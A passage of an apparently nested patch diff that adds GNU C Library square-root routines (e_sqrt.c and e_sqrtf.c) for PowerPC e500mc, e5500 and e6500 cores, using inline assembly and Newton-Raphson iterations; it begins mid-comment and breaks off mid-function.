-+ We find the reciprocal square root and use that to compute the actual
-+ square root. */
-+
-+#ifdef __STDC__
-+float
-+__ieee754_sqrtf (float b)
-+#else
-+float
-+__ieee754_sqrtf (b)
-+ float b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+#define FMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ double y, x;
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ relax_fenv_state ();
-+
-+ /* Compute y = 1.5 * b - b. Uses fewer constants than y = 0.5 * b. */
-+ y = FMSUB (threehalf, b, b);
-+
-+ /* Initial estimate. */
-+ __asm__ ("frsqrte %[x], %[b]\n" : [x] "=f" (x) : [b] "f" (b));
-+
-+ /* Iterate. x_{n+1} = x_n * (1.5 - y * (x_n * x_n)). */
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+
-+ /* All done. */
-+ fesetenv_register (fe);
-+ return x * b;
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_washf (b);
-+}
-diff --git a/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c
-new file mode 100644
-index 0000000000..71e516d1c8
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c
-@@ -0,0 +1,134 @@
-+/* Double-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float two108 = 3.245185536584267269e+32;
-+static const float twom54 = 5.551115123125782702e-17;
-+static const float half = 0.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the actual square root and half of its reciprocal
-+ simultaneously. */
-+
-+#ifdef __STDC__
-+double
-+__ieee754_sqrt (double b)
-+#else
-+double
-+__ieee754_sqrt (b)
-+ double b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+ double y, g, h, d, r;
-+ ieee_double_shape_type u;
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ u.value = b;
-+
-+ relax_fenv_state ();
-+
-+ __asm__ ("frsqrte %[estimate], %[x]\n"
-+ : [estimate] "=f" (y) : [x] "f" (b));
-+
-+ /* Following Muller et al, page 168, equation 5.20.
-+
-+ h goes to 1/(2*sqrt(b))
-+ g goes to sqrt(b).
-+
-+ We need three iterations to get within 1ulp. */
-+
-+ /* Indicate that these can be performed prior to the branch. GCC
-+ insists on sinking them below the branch, however; it seems like
-+ they'd be better before the branch so that we can cover any latency
-+ from storing the argument and loading its high word. Oh well. */
-+
-+ g = b * y;
-+ h = 0.5 * y;
-+
-+ /* Handle small numbers by scaling. */
-+ if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-+ return __ieee754_sqrt (b * two108) * twom54;
-+
-+#define FMADD(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmadd %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ /* g is now +/- 1ulp, or exactly equal to, the square root of b. */
-+
-+ /* Final refinement. */
-+ d = FNMSUB (g, g, b);
-+
-+ fesetenv_register (fe);
-+ return FMADD (d, h, g);
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_wash (b);
-+}
-diff --git a/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c
-new file mode 100644
-index 0000000000..26fa067abf
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c
-@@ -0,0 +1,101 @@
-+/* Single-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float threehalf = 1.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the reciprocal square root and use that to compute the actual
-+ square root. */
-+
-+#ifdef __STDC__
-+float
-+__ieee754_sqrtf (float b)
-+#else
-+float
-+__ieee754_sqrtf (b)
-+ float b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+#define FMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ double y, x;
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ relax_fenv_state ();
-+
-+ /* Compute y = 1.5 * b - b. Uses fewer constants than y = 0.5 * b. */
-+ y = FMSUB (threehalf, b, b);
-+
-+ /* Initial estimate. */
-+ __asm__ ("frsqrte %[x], %[b]\n" : [x] "=f" (x) : [b] "f" (b));
-+
-+ /* Iterate. x_{n+1} = x_n * (1.5 - y * (x_n * x_n)). */
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+
-+ /* All done. */
-+ fesetenv_register (fe);
-+ return x * b;
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_washf (b);
-+}
-diff --git a/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c
-new file mode 100644
-index 0000000000..71e516d1c8
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c
-@@ -0,0 +1,134 @@
-+/* Double-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float two108 = 3.245185536584267269e+32;
-+static const float twom54 = 5.551115123125782702e-17;
-+static const float half = 0.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the actual square root and half of its reciprocal
-+ simultaneously. */
-+
-+#ifdef __STDC__
-+double
-+__ieee754_sqrt (double b)
-+#else
-+double
-+__ieee754_sqrt (b)
-+ double b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+ double y, g, h, d, r;
-+ ieee_double_shape_type u;
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ u.value = b;
-+
-+ relax_fenv_state ();
-+
-+ __asm__ ("frsqrte %[estimate], %[x]\n"
-+ : [estimate] "=f" (y) : [x] "f" (b));
-+
-+ /* Following Muller et al, page 168, equation 5.20.
-+
-+ h goes to 1/(2*sqrt(b))
-+ g goes to sqrt(b).
-+
-+ We need three iterations to get within 1ulp. */
-+
-+ /* Indicate that these can be performed prior to the branch. GCC
-+ insists on sinking them below the branch, however; it seems like
-+ they'd be better before the branch so that we can cover any latency
-+ from storing the argument and loading its high word. Oh well. */
-+
-+ g = b * y;
-+ h = 0.5 * y;
-+
-+ /* Handle small numbers by scaling. */
-+ if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-+ return __ieee754_sqrt (b * two108) * twom54;
-+
-+#define FMADD(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmadd %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ /* g is now +/- 1ulp, or exactly equal to, the square root of b. */
-+
-+ /* Final refinement. */
-+ d = FNMSUB (g, g, b);
-+
-+ fesetenv_register (fe);
-+ return FMADD (d, h, g);
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_wash (b);
-+}
-diff --git a/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c
-new file mode 100644
-index 0000000000..26fa067abf
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c
-@@ -0,0 +1,101 @@
-+/* Single-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float threehalf = 1.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the reciprocal square root and use that to compute the actual
-+ square root. */
-+
-+#ifdef __STDC__
-+float
-+__ieee754_sqrtf (float b)
-+#else
-+float
-+__ieee754_sqrtf (b)
-+ float b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+#define FMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ double y, x;
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ relax_fenv_state ();
-+
-+ /* Compute y = 1.5 * b - b. Uses fewer constants than y = 0.5 * b. */
-+ y = FMSUB (threehalf, b, b);
-+
-+ /* Initial estimate. */
-+ __asm__ ("frsqrte %[x], %[b]\n" : [x] "=f" (x) : [b] "f" (b));
-+
-+ /* Iterate. x_{n+1} = x_n * (1.5 - y * (x_n * x_n)). */
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+
-+ /* All done. */
-+ fesetenv_register (fe);
-+ return x * b;
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_washf (b);
-+}
-diff --git a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
-new file mode 100644
-index 0000000000..71e516d1c8
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c
-@@ -0,0 +1,134 @@
-+/* Double-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float two108 = 3.245185536584267269e+32;
-+static const float twom54 = 5.551115123125782702e-17;
-+static const float half = 0.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the actual square root and half of its reciprocal
-+ simultaneously. */
-+
-+#ifdef __STDC__
-+double
-+__ieee754_sqrt (double b)
-+#else
-+double
-+__ieee754_sqrt (b)
-+ double b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+ double y, g, h, d, r;
-+ ieee_double_shape_type u;
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ u.value = b;
-+
-+ relax_fenv_state ();
-+
-+ __asm__ ("frsqrte %[estimate], %[x]\n"
-+ : [estimate] "=f" (y) : [x] "f" (b));
-+
-+ /* Following Muller et al, page 168, equation 5.20.
-+
-+ h goes to 1/(2*sqrt(b))
-+ g goes to sqrt(b).
-+
-+ We need three iterations to get within 1ulp. */
-+
-+ /* Indicate that these can be performed prior to the branch. GCC
-+ insists on sinking them below the branch, however; it seems like
-+ they'd be better before the branch so that we can cover any latency
-+ from storing the argument and loading its high word. Oh well. */
-+
-+ g = b * y;
-+ h = 0.5 * y;
-+
-+ /* Handle small numbers by scaling. */
-+ if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-+ return __ieee754_sqrt (b * two108) * twom54;
-+
-+#define FMADD(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmadd %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ /* g is now +/- 1ulp, or exactly equal to, the square root of b. */
-+
-+ /* Final refinement. */
-+ d = FNMSUB (g, g, b);
-+
-+ fesetenv_register (fe);
-+ return FMADD (d, h, g);
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_wash (b);
-+}
-diff --git a/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
-new file mode 100644
-index 0000000000..26fa067abf
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c
-@@ -0,0 +1,101 @@
-+/* Single-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float threehalf = 1.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the reciprocal square root and use that to compute the actual
-+ square root. */
-+
-+#ifdef __STDC__
-+float
-+__ieee754_sqrtf (float b)
-+#else
-+float
-+__ieee754_sqrtf (b)
-+ float b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+#define FMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ double y, x;
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ relax_fenv_state ();
-+
-+ /* Compute y = 1.5 * b - b. Uses fewer constants than y = 0.5 * b. */
-+ y = FMSUB (threehalf, b, b);
-+
-+ /* Initial estimate. */
-+ __asm__ ("frsqrte %[x], %[b]\n" : [x] "=f" (x) : [b] "f" (b));
-+
-+ /* Iterate. x_{n+1} = x_n * (1.5 - y * (x_n * x_n)). */
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+
-+ /* All done. */
-+ fesetenv_register (fe);
-+ return x * b;
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_washf (b);
-+}
-diff --git a/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c
-new file mode 100644
-index 0000000000..71e516d1c8
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c
-@@ -0,0 +1,134 @@
-+/* Double-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float two108 = 3.245185536584267269e+32;
-+static const float twom54 = 5.551115123125782702e-17;
-+static const float half = 0.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the actual square root and half of its reciprocal
-+ simultaneously. */
-+
-+#ifdef __STDC__
-+double
-+__ieee754_sqrt (double b)
-+#else
-+double
-+__ieee754_sqrt (b)
-+ double b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+ double y, g, h, d, r;
-+ ieee_double_shape_type u;
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ u.value = b;
-+
-+ relax_fenv_state ();
-+
-+ __asm__ ("frsqrte %[estimate], %[x]\n"
-+ : [estimate] "=f" (y) : [x] "f" (b));
-+
-+ /* Following Muller et al, page 168, equation 5.20.
-+
-+ h goes to 1/(2*sqrt(b))
-+ g goes to sqrt(b).
-+
-+ We need three iterations to get within 1ulp. */
-+
-+ /* Indicate that these can be performed prior to the branch. GCC
-+ insists on sinking them below the branch, however; it seems like
-+ they'd be better before the branch so that we can cover any latency
-+ from storing the argument and loading its high word. Oh well. */
-+
-+ g = b * y;
-+ h = 0.5 * y;
-+
-+ /* Handle small numbers by scaling. */
-+ if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-+ return __ieee754_sqrt (b * two108) * twom54;
-+
-+#define FMADD(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmadd %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
